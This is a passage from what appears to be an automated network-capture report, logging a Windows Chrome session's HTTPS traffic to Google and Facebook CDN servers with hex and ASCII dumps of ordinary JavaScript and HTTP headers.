c}}catch(je){b._DumpException(je)}try{b.Vl=function(a,c,d){c.sentinel="onetap_google";b.w("M
2024-04-11 20:35:34 UTC	16383	IN	Data Raw: 6c 3f 69 6c 63 3f 72 65 6d 65 3f 75 64 3f 3f 64 21 2e 5c 78 32 36 65 72 6f 74 73 2c 67 65 72 2c 6d 72 69 66 2c 6f 63 2c 70 6f 68 73 64 61 65 72 70 73 79 6d 2c 74 6f 70 73 67 6f 6c 62 2c 7a 69 62 2c 3f 74 3f 3f 65 5c 78 32 36 65 73 3f 73 61 6d 65 74 3f 3f 68 21 2e 5c 78 32 36 61 5c 78 32 36 34 79 61 30 63 75 2d 2d 6e 78 3f 35 77 71 6d 67 2d 2d 6e 78 3f 3f 62 33 71 61 30 64 6f 2d 2d 6e 78 3f 63 6e 69 2c 64 5c 78 32 36 32 5c 78 32 36 32 73 76 63 77 2d 2d 6e 78 3f 33 72 76 63 6c 2d 2d 6e 78 3f 3f 35 78 71 35 35 2d 2d 6e 78 3f 74 6c 2c 3f 67 5c 78 32 36 61 30 6e 74 2d 2d 6e 78 3f 6c 61 30 64 6f 2d 2d 6e 78 3f 72 6f 3f 3f 69 5c 78 32 36 30 35 30 71 6d 67 2d 2d 6e 78 3f 37 61 30 6f 69 2d 2d 6e 78 3f 78 61 30 6b 6d 2d 2d 6e 78 3f 3f 6d 5c 78 32 36 31 71 74 78 6d Data Ascii: l?ilc?reme?ud??d!.\x26erots,ger,mrif,oc,pohsdaerpsym,topsgolb,zib,?t??e\x26es?samet??h!.\x26a\x264ya0cu--nx?5wqmg--nx??b3qa0do--nx?cni,d\x262\x262svcw--nx?3rvcl--nx??5xq55--nx?tl,?g\x26a0nt--nx?la0do--nx?ro??i\x26050qmg--nx?7a0oi--nx?xa0km--nx??m\x261qtxm
2024-04-11 20:35:34 UTC	16383	IN	Data Raw: 75 6c 70 3f 73 65 66 6f 72 70 3f 3f 72 75 74 61 6e 3f 3f 69 6d 3f 3f 6d 6f 63 3f 6f 5c 78 32 36 66 6e 69 3f 6c 62 65 75 70 3f 72 67 61 3f 74 6e 65 69 6d 69 76 6f 6d 3f 3f 73 61 69 63 69 74 6f 6e 3f 74 5c 78 32 36 61 73 6b 74 3f 65 6e 3f 6e 69 3f 3f 75 64 65 3f 76 74 3f 3f 68 3f 69 65 77 3f 6f 6c 67 3f 3f 63 21 2e 5c 78 32 36 62 65 77 3f 63 65 72 3f 64 72 5c 78 32 36 63 2c 72 61 63 2c 3f 65 73 61 62 61 70 75 73 2c 67 72 6f 3f 69 70 79 6d 2c 6c 5c 78 32 36 69 6d 3f 70 65 72 3a 2e 64 69 2c 2c 3f 6d 5c 78 32 36 6f 5c 78 32 36 63 21 2e 74 6f 70 73 67 6f 6c 62 2c 3f 6e 3f 3f 72 69 66 3f 75 64 6f 6e 2c 3f 6f 66 6e 69 3f 73 5c 78 32 36 65 67 61 70 5c 78 32 36 64 61 65 6c 2c 6c 2c 3f 74 72 61 3f 3f 74 5c 78 32 36 34 6e 2c 65 6e 3f 6e 69 3f 3f 75 64 65 3f 76 6f 67 Data Ascii: ulp?seforp??rutan??im??moc?o\x26fni?lbeup?rga?tneimivom??saiciton?t\x26askt?en?ni??ude?vt??h?iew?olg??c!.\x26bew?cer?dr\x26c,rac,?esabapus,gro?ipym,l\x26im?per:.di,,?m\x26o\x26c!.topsgolb,?n??rif?udon,?ofni?s\x26egap\x26dael,l,?tra??t\x264n,en?ni??ude?vog
2024-04-11 20:35:34 UTC	16383	IN	Data Raw: 32 36 6a 6f 6e 61 6b 61 6e 3f 6e 5c 78 32 36 65 75 3f 6f 79 69 6b 75 73 74 3f 3f 74 6e 69 68 73 3f 3f 75 5c 78 32 36 6b 6f 6d 6e 61 6e 3f 73 74 61 73 75 6b 3f 79 72 69 6b 3f 3f 3f 3f 3f 72 61 6e 21 2e 5c 78 32 36 61 5c 78 32 36 62 69 68 73 61 6b 3f 64 5c 78 32 36 61 6b 61 74 6f 74 61 6d 61 79 3f 75 21 6f 3f 3f 3f 67 75 72 61 6b 69 3f 6d 5c 78 32 36 61 79 5c 78 32 36 61 74 69 6b 5c 78 32 36 69 6d 61 6b 3f 6f 6d 69 68 73 3f 3f 69 72 6f 6b 6f 74 61 6d 61 79 3f 3f 6f 6b 69 3f 3f 72 61 5c 78 32 36 68 69 68 73 61 6b 3f 6e 3f 3f 77 61 5c 78 32 36 67 65 73 6f 6e 3f 6b 6e 65 74 3f 3f 3f 65 5c 78 32 36 6b 61 79 69 6d 3f 6f 7a 61 6d 61 79 3f 73 6f 67 3f 75 73 74 69 6d 3f 3f 69 5c 78 32 36 61 5c 78 32 36 72 75 6b 61 73 3f 77 61 6b 3f 3f 67 61 72 75 73 74 61 6b 3f 68 Data Ascii: 26jonakan?n\x26eu?oyikust??tnihs??u\x26komnan?stasuk?yrik?????ran!.\x26a\x26bihsak?d\x26akatotamay?u!o???guraki?m\x26ay\x26atik\x26imak?omihs??irokotamay??oki??ra\x26hihsak?n??wa\x26geson?knet???e\x26kayim?ozamay?sog?ustim??i\x26a\x26rukas?wak??garustak?h
2024-04-11 20:35:34 UTC	16383	IN	Data Raw: 72 65 74 74 61 6c 70 2c 3f 72 5c 78 32 36 61 21 2e 5c 78 32 36 32 31 6b 3f 62 69 6c 3f 63 63 3f 3f 3f 6f 21 2e 5c 78 32 36 32 31 6b 3f 62 69 6c 3f 63 63 3f 3f 3f 70 21 2e 5c 78 32 36 32 31 6b 3f 62 69 6c 3f 63 63 3f 3f 3f 3f 73 5c 78 32 36 61 21 2e 5c 78 32 36 32 31 6b 3f 62 69 6c 3f 63 63 3f 3f 3f 64 69 6b 3f 6b 21 2e 5c 78 32 36 32 31 6b 3f 62 69 6c 3f 63 63 3f 3f 3f 6d 21 2e 5c 78 32 36 32 31 6b 3f 62 69 6c 3f 63 63 3f 3f 3f 6e 64 5c 78 32 36 64 65 65 72 66 2c 75 6f 6c 63 2c 3f 3f 74 5c 78 32 36 63 21 2e 5c 78 32 36 32 31 6b 3f 62 69 6c 3f 63 63 3f 3f 3f 6d 21 2e 5c 78 32 36 32 31 6b 3f 62 69 6c 3f 63 63 3f 3f 3f 75 21 2e 5c 78 32 36 32 31 6b 3f 62 69 6c 3f 63 63 3f 3f 3f 76 21 2e 5c 78 32 36 32 31 6b 3f 62 69 6c 3f 63 63 3f 3f 3f 3f 75 67 21 2e 5c 78 Data Ascii: rettalp,?r\x26a!.\x2621k?bil?cc???o!.\x2621k?bil?cc???p!.\x2621k?bil?cc????s\x26a!.\x2621k?bil?cc???dik?k!.\x2621k?bil?cc???m!.\x2621k?bil?cc???nd\x26deerf,uolc,??t\x26c!.\x2621k?bil?cc???m!.\x2621k?bil?cc???u!.\x2621k?bil?cc???v!.\x2621k?bil?cc????ug!.\x
2024-04-11 20:35:34 UTC	16383	IN	Data Raw: 6d 6f 63 2c 3f 3f 74 5c 78 32 36 6e 65 79 6f 6a 2e 73 6e 63 2c 6f 70 73 70 70 61 2e 72 2c 3f 3f 3f 6e 5c 78 32 36 63 2e 6d 6f 63 2e 73 77 61 6e 6f 7a 61 6d 61 2e 5c 78 32 36 62 6c 65 2c 65 74 75 70 6d 6f 63 2c 3f 75 72 2e 65 64 6f 63 2c 3f 6f 5c 78 32 36 63 2e 70 61 74 6f 2c 69 2e 5c 78 32 36 64 75 6f 6c 63 69 61 7a 6e 61 62 2e 73 64 72 61 79 6b 63 61 62 2c 65 6c 61 63 73 6e 6f 6f 6d 2c 6f 69 72 2d 6e 6f 2c 72 65 6e 69 61 74 6e 6f 63 65 72 75 7a 61 2c 73 5c 78 32 36 33 6b 2d 6e 6f 2c 6f 6c 6f 74 73 2c 3f 78 63 71 2e 73 79 73 2c 79 35 73 2c 3f 3f 70 5c 78 32 36 6a 2e 5c 78 32 36 61 5c 78 32 36 6d 61 68 6f 6b 6f 79 3f 79 6f 67 61 6e 3f 3f 65 62 6f 6b 3f 69 5c 78 32 36 61 64 6e 65 73 3f 6b 61 73 61 77 61 6b 3f 3f 6f 72 6f 70 70 61 73 3f 75 68 73 75 79 6b 61 Data Ascii: moc,??t\x26neyoj.snc,opsppa.r,???n\x26c.moc.swanozama.\x26ble,etupmoc,?ur.edoc,?o\x26c.pato,i.\x26duolciaznab.sdraykcab,elacsnoom,oir-no,reniatnoceruza,s\x263k-no,olots,?xcq.sys,y5s,??p\x26j.\x26a\x26mahokoy?yogan??ebok?i\x26adnes?kasawak??oroppas?uhsuyka

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	49964	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	698	OUT	GET /rsrc.php/v3ifJq4/y_/l/en_US/VCsocI7gMNGJaiwx1WAgoaSl65Za2TW0ymM84SfiWlvqERz6pNGhHp8limUDEtcYdfHD_ApAkcHCLBPHlaazF8hiQhP0HLNJLur.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	1677	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: S2Rf+jRZp86mnobRI0TRGQ== Expires: Fri, 11 Apr 2025 07:21:35 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} X-FB-Debug: 7qB9AcGhidPqa1Hr6dVhQ9gT+dQN7XYJWGC3Y/k2Q1k4XQxwz4tqZmvtLbyhMjmAFJ0wLuqxYkWPT/N35lqmZw== Date: Thu, 11 Apr 2024 20:35:34 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=14, mss=1277, tbw=3413, tp=-1, tpl=-1, uplat=2, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 113873
2024-04-11 20:35:34 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-04-11 20:35:34 UTC	16039	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 48 65 61 64 65 72 41 63 74 69 6f 6e 42 61 72 4d 65 6e 75 49 74 65 6d 57 69 74 68 6f 75 74 49 73 41 63 74 69 76 65 46 69 65 6c 64 5f 70 72 6f 66 69 6c 65 41 63 74 69 6f 6e 2e 67 72 61 70 68 71 6c 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 7b 6b 69 6e 64 3a 22 4c 69 74 65 72 61 6c 22 2c 6e 61 6d 65 3a 22 69 63 6f 6e 5f 63 6f 6c 6f 72 22 2c 76 61 6c 75 65 3a 22 66 64 73 2d 62 6c 61 63 6b 22 7d 2c 62 3d 7b 6b 69 6e 64 3a 22 4c 69 74 65 72 61 6c 22 2c 6e 61 6d 65 3a 22 69 63 6f 6e 5f 73 69 7a 65 22 2c 76 61 6c 75 65 3a 22 Data Ascii: /FB_PKG_DELIM/__d("ProfileCometHeaderActionBarMenuItemWithoutIsActiveField_profileAction.graphql",[],(function(a,b,c,d,e,f){"use strict";a=function(){var a={kind:"Literal",name:"icon_color",value:"fds-black"},b={kind:"Literal",name:"icon_size",value:"
2024-04-11 20:35:34 UTC	16384	IN	Data Raw: 22 69 6e 63 6f 6d 70 6c 65 74 65 22 2c 4e 4f 54 5f 41 50 50 4c 49 43 41 42 4c 45 3a 22 6e 6f 74 5f 61 70 70 6c 69 63 61 62 6c 65 22 2c 53 41 56 45 44 5f 46 4f 52 5f 4c 41 54 45 52 3a 22 73 61 76 65 64 5f 66 6f 72 5f 6c 61 74 65 72 22 2c 53 4b 49 50 50 45 44 3a 22 73 6b 69 70 70 65 64 22 7d 29 3b 66 5b 22 64 65 66 61 75 6c 74 22 5d 3d 61 7d 29 2c 36 36 29 3b 0a 5f 5f 64 28 22 50 61 67 65 73 43 6f 6d 65 74 41 64 6d 69 6e 43 6f 6d 70 6c 65 74 69 6f 6e 4d 65 74 65 72 55 74 69 6c 73 22 2c 5b 22 50 61 67 65 41 64 6d 69 6e 43 6f 6d 70 6c 65 74 69 6f 6e 4d 65 74 65 72 41 63 74 69 6f 6e 54 79 70 65 22 2c 22 50 61 67 65 41 64 6d 69 6e 43 6f 6d 70 6c 65 74 69 6f 6e 4d 65 74 65 72 53 74 61 74 75 73 22 2c 22 66 69 72 73 74 4b 65 79 57 69 74 68 56 61 6c 75 65 22 2c 22 Data Ascii: "incomplete",NOT_APPLICABLE:"not_applicable",SAVED_FOR_LATER:"saved_for_later",SKIPPED:"skipped"});f["default"]=a}),66);__d("PagesCometAdminCompletionMeterUtils",["PageAdminCompletionMeterActionType","PageAdminCompletionMeterStatus","firstKeyWithValue","
2024-04-11 20:35:34 UTC	16384	IN	Data Raw: 32 36 36 72 22 2c 6d 61 72 67 69 6e 42 6f 74 74 6f 6d 3a 22 78 61 74 32 34 63 72 22 2c 70 61 64 64 69 6e 67 54 6f 70 3a 22 78 31 79 31 61 77 31 6b 22 2c 70 61 64 64 69 6e 67 45 6e 64 3a 22 78 31 73 78 79 68 30 22 2c 70 61 64 64 69 6e 67 42 6f 74 74 6f 6d 3a 22 78 77 69 62 38 79 32 22 2c 70 61 64 64 69 6e 67 53 74 61 72 74 3a 22 78 75 72 62 30 68 61 22 2c 24 24 63 73 73 3a 21 30 7d 7d 2c 6d 3d 7b 63 6f 6e 74 65 6e 74 52 6f 6f 74 3a 7b 61 6c 69 67 6e 49 74 65 6d 73 3a 22 78 36 73 30 64 6e 34 22 2c 63 75 72 73 6f 72 3a 22 78 31 79 70 64 6f 68 6b 22 2c 64 69 73 70 6c 61 79 3a 22 78 37 38 7a 75 6d 35 22 2c 6f 76 65 72 66 6c 6f 77 58 3a 22 78 36 69 6b 6d 38 72 22 2c 6f 76 65 72 66 6c 6f 77 59 3a 22 78 31 30 77 6c 74 36 32 22 2c 70 6f 73 69 74 69 6f 6e 3a 22 78 Data Ascii: 266r",marginBottom:"xat24cr",paddingTop:"x1y1aw1k",paddingEnd:"x1sxyh0",paddingBottom:"xwib8y2",paddingStart:"xurb0ha",$$css:!0}},m={contentRoot:{alignItems:"x6s0dn4",cursor:"x1ypdohk",display:"x78zum5",overflowX:"x6ikm8r",overflowY:"x10wlt62",position:"x
2024-04-11 20:35:34 UTC	16384	IN	Data Raw: 62 3d 61 2e 64 65 64 75 70 65 3b 61 3d 61 2e 73 75 66 66 69 78 42 75 69 6c 64 65 72 3b 74 68 69 73 2e 24 31 3d 6e 65 77 28 63 28 22 42 61 73 65 54 79 70 65 61 68 65 61 64 49 6e 4d 65 6d 6f 72 79 4d 61 70 44 61 74 61 43 61 63 68 65 22 29 29 28 29 3b 74 68 69 73 2e 24 32 3d 28 62 3d 62 29 21 3d 6e 75 6c 6c 3f 62 3a 63 28 22 62 61 73 65 54 79 70 65 61 68 65 61 64 44 65 64 75 70 45 6e 74 72 69 65 73 42 75 69 6c 64 65 72 22 29 28 63 28 22 42 61 73 65 43 61 63 68 65 45 6e 74 72 79 4c 61 62 65 6c 4b 65 79 42 75 69 6c 64 65 72 22 29 29 3b 74 68 69 73 2e 24 33 3d 28 62 3d 61 29 21 3d 6e 75 6c 6c 3f 62 3a 63 28 22 62 61 73 65 54 79 70 65 61 68 65 61 64 4c 61 62 65 6c 53 75 66 66 69 78 42 75 69 6c 64 65 72 22 29 7d 76 61 72 20 62 3d 61 2e 70 72 6f 74 6f 74 79 70 65 Data Ascii: b=a.dedupe;a=a.suffixBuilder;this.$1=new(c("BaseTypeaheadInMemoryMapDataCache"))();this.$2=(b=b)!=null?b:c("baseTypeaheadDedupEntriesBuilder")(c("BaseCacheEntryLabelKeyBuilder"));this.$3=(b=a)!=null?b:c("baseTypeaheadLabelSuffixBuilder")}var b=a.prototype
2024-04-11 20:35:34 UTC	1500	IN	Data Raw: 69 6e 73 74 61 6e 63 65 6f 66 20 64 28 22 53 56 47 49 63 6f 6e 22 29 2e 4c 65 67 61 63 79 53 56 47 49 63 6f 6e 7c 7c 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 64 28 22 53 56 47 49 63 6f 6e 22 29 2e 45 6d 6f 6a 69 49 63 6f 6e 29 7b 72 65 74 75 72 6e 20 6a 2e 6a 73 78 28 63 28 22 46 44 53 49 63 6f 6e 2e 72 65 61 63 74 22 29 2c 7b 63 6f 6c 6f 72 3a 28 61 3d 66 29 21 3d 6e 75 6c 6c 3f 61 3a 22 70 72 69 6d 61 72 79 22 2c 64 69 73 61 62 6c 65 64 3a 62 2c 69 63 6f 6e 3a 65 2c 73 69 7a 65 3a 6d 7d 29 7d 69 66 28 74 79 70 65 6f 66 20 65 3d 3d 3d 22 6f 62 6a 65 63 74 22 26 26 74 79 70 65 6f 66 20 65 21 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 21 65 2e 5f 69 73 53 56 47 26 26 65 2e 73 72 63 21 3d 3d 6e 75 6c 6c 29 7b 61 3d 6e 3d 3d 3d 22 63 6f 6e 74 61 69 6e 65 64 22 Data Ascii: instanceof d("SVGIcon").LegacySVGIcon\|\|e instanceof d("SVGIcon").EmojiIcon){return j.jsx(c("FDSIcon.react"),{color:(a=f)!=null?a:"primary",disabled:b,icon:e,size:m})}if(typeof e==="object"&&typeof e!=="function"&&!e._isSVG&&e.src!==null){a=n==="contained"
2024-04-11 20:35:34 UTC	14884	IN	Data Raw: 28 29 7b 72 65 74 75 72 6e 20 62 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7c 7c 74 68 69 73 7d 72 65 74 75 72 6e 20 61 7d 28 6b 29 3b 66 75 6e 63 74 69 6f 6e 20 61 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 6b 28 61 2c 62 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 6c 28 61 2c 62 29 7d 67 2e 4d 57 58 53 76 67 49 63 6f 6e 3d 6b 3b 67 2e 4d 57 58 53 76 67 4d 65 6e 75 49 74 65 6d 49 63 6f 6e 3d 6c 3b 67 2e 6d 77 78 53 76 67 49 63 6f 6e 3d 61 3b 67 2e 6d 77 78 53 76 67 4d 65 6e 75 49 74 65 6d 49 63 6f 6e 3d 62 7d 29 2c 39 38 29 3b 0a 5f 5f 64 28 22 67 65 74 4d 44 53 49 63 6f 6e 43 6f 6c 6f 72 43 6f 6d 65 74 46 61 6c 6c 62 61 63 6b 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 Data Ascii: (){return b.apply(this,arguments)\|\|this}return a}(k);function a(a,b){return new k(a,b)}function b(a,b){return new l(a,b)}g.MWXSvgIcon=k;g.MWXSvgMenuItemIcon=l;g.mwxSvgIcon=a;g.mwxSvgMenuItemIcon=b}),98);__d("getMDSIconColorCometFallback",[],(function(a,b
2024-04-11 20:35:34 UTC	16384	IN	Data Raw: 65 49 6e 74 4d 61 70 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 24 33 28 61 2c 22 45 6e 75 6d 54 6f 4e 75 6c 6c 61 62 6c 65 49 6e 74 4d 61 70 22 29 7d 3b 62 2e 67 65 74 45 6e 75 6d 54 6f 4e 75 6c 6c 61 62 6c 65 53 74 72 69 6e 67 4d 61 70 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 24 33 28 61 2c 22 45 6e 75 6d 54 6f 4e 75 6c 6c 61 62 6c 65 53 74 72 69 6e 67 4d 61 70 22 29 7d 3b 62 2e 67 65 74 49 6e 74 54 6f 4e 75 6c 6c 61 62 6c 65 45 6e 75 6d 4d 61 70 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 24 33 28 61 2c 22 49 6e 74 54 6f 4e 75 6c 6c 61 62 6c 65 45 6e 75 6d 4d 61 70 22 29 7d 3b 62 2e 67 65 74 49 6e 74 54 6f 4e 75 6c 6c 61 62 6c 65 46 6c 6f 61 74 4d 61 70 3d Data Ascii: eIntMap=function(a){return this.$3(a,"EnumToNullableIntMap")};b.getEnumToNullableStringMap=function(a){return this.$3(a,"EnumToNullableStringMap")};b.getIntToNullableEnumMap=function(a){return this.$3(a,"IntToNullableEnumMap")};b.getIntToNullableFloatMap=
2024-04-11 20:35:34 UTC	15913	IN	Data Raw: 79 22 2c 69 63 6f 6e 3a 64 28 22 66 62 69 63 6f 6e 22 29 2e 5f 28 69 28 22 38 37 31 36 39 32 22 29 2c 31 32 29 7d 29 7d 29 7d 29 5d 7d 29 7d 2c 7b 68 72 65 66 3a 22 2f 70 6f 6c 69 63 69 65 73 2f 63 6f 6f 6b 69 65 73 2f 22 2c 6c 61 62 65 6c 3a 68 2e 5f 28 22 43 6f 6f 6b 69 65 73 22 29 2c 74 65 73 74 69 64 3a 22 43 6f 6d 65 74 44 72 6f 70 64 6f 77 6e 43 6f 6f 6b 69 65 73 22 7d 2c 7b 68 72 65 66 3a 22 2f 70 72 69 76 61 63 79 2f 63 6f 6f 6b 69 65 5f 73 65 74 74 69 6e 67 73 2f 22 2c 6c 61 62 65 6c 3a 68 2e 5f 28 22 43 6f 6f 6b 69 65 20 53 65 74 74 69 6e 67 73 22 29 2c 72 65 6e 64 65 72 3a 61 7d 5d 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 72 65 6e 64 65 72 3d 3d 6e 75 6c 6c 7c 7c 61 2e 72 65 6e 64 65 72 3d 3d 3d 21 Data Ascii: y",icon:d("fbicon")._(i("871692"),12)})})})]})},{href:"/policies/cookies/",label:h._("Cookies"),testid:"CometDropdownCookies"},{href:"/privacy/cookie_settings/",label:h._("Cookie Settings"),render:a}].filter(function(a){return a.render==null\|\|a.render===!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	49962	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	599	OUT	GET /rsrc.php/v3/yY/r/YT7n1sgH1lv.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	1676	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: ogpXKXKWIQrlXCYwZDb85Q== Expires: Sat, 05 Apr 2025 10:11:27 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} X-FB-Debug: IzxNegaiRCpZaM8qEsak5bGxJX0/eCwBAl/aqCKn2QworgK2JUJTqsTq6DlRdINZnv3VSrExp8qIHjWyxqpbqA== Date: Thu, 11 Apr 2024 20:35:34 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=14, mss=1277, tbw=3411, tp=-1, tpl=-1, uplat=1, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 43237
2024-04-11 20:35:34 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-04-11 20:35:34 UTC	16139	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 2f 2a 2a 0a 20 2a 20 4c 69 63 65 6e 73 65 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 6c 65 67 61 6c 2f 6c 69 63 65 6e 73 65 2f 74 33 68 4f 4c 73 38 77 6c 58 79 2f 0a 20 2a 2f 0a 5f 5f 64 28 22 62 69 67 6e 75 6d 62 65 72 2d 6a 73 2d 39 2e 30 2e 31 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 62 3d 7b 7d 3b 76 61 72 20 67 3d 7b 65 78 70 6f 72 74 73 3a 62 7d 2c 68 3b 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 2c 63 3d 2f 5e 2d 3f 28 3f 3a 5c 64 2b 28 3f 3a 5c 2e 5c 64 2a 29 3f 7c 5c 2e 5c 64 2b 29 28 3f 3a 65 5b 2b 2d 5d 3f 5c 64 2b 29 3f 24 Data Ascii: /FB_PKG_DELIM//** * License: https://www.facebook.com/legal/license/t3hOLs8wlXy/ /__d("bignumber-js-9.0.1",[],(function(a,b,c,d,e,f){"use strict";b={};var g={exports:b},h;function i(){(function(a){var b,c=/^-?(?:\d+(?:\.\d)?\|\.\d+)(?:e[+-]?\d+)?$
2024-04-11 20:35:34 UTC	16384	IN	Data Raw: 3a 6a 2c 6c 3d 6b 2e 6c 65 6e 67 74 68 3b 68 26 26 28 65 3d 67 2c 67 3d 68 2c 68 3d 65 2c 6c 2d 3d 65 29 3b 69 66 28 67 3e 30 26 26 6c 3e 30 29 7b 65 3d 6c 25 67 7c 7c 67 3b 6a 3d 6b 2e 73 75 62 73 74 72 28 30 2c 65 29 3b 66 6f 72 28 3b 65 3c 6c 3b 65 2b 3d 67 29 6a 2b 3d 69 2b 6b 2e 73 75 62 73 74 72 28 65 2c 67 29 3b 68 3e 30 26 26 28 6a 2b 3d 69 2b 6b 2e 73 6c 69 63 65 28 65 29 29 3b 64 26 26 28 6a 3d 22 2d 22 2b 6a 29 7d 62 3d 63 3f 6a 2b 28 61 2e 64 65 63 69 6d 61 6c 53 65 70 61 72 61 74 6f 72 7c 7c 22 22 29 2b 28 28 68 3d 2b 61 2e 66 72 61 63 74 69 6f 6e 47 72 6f 75 70 53 69 7a 65 29 3f 63 2e 72 65 70 6c 61 63 65 28 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 64 7b 22 2b 68 2b 22 7d 5c 5c 42 22 2c 22 67 22 29 2c 22 24 26 22 2b 28 61 2e 66 72 61 63 74 Data Ascii: 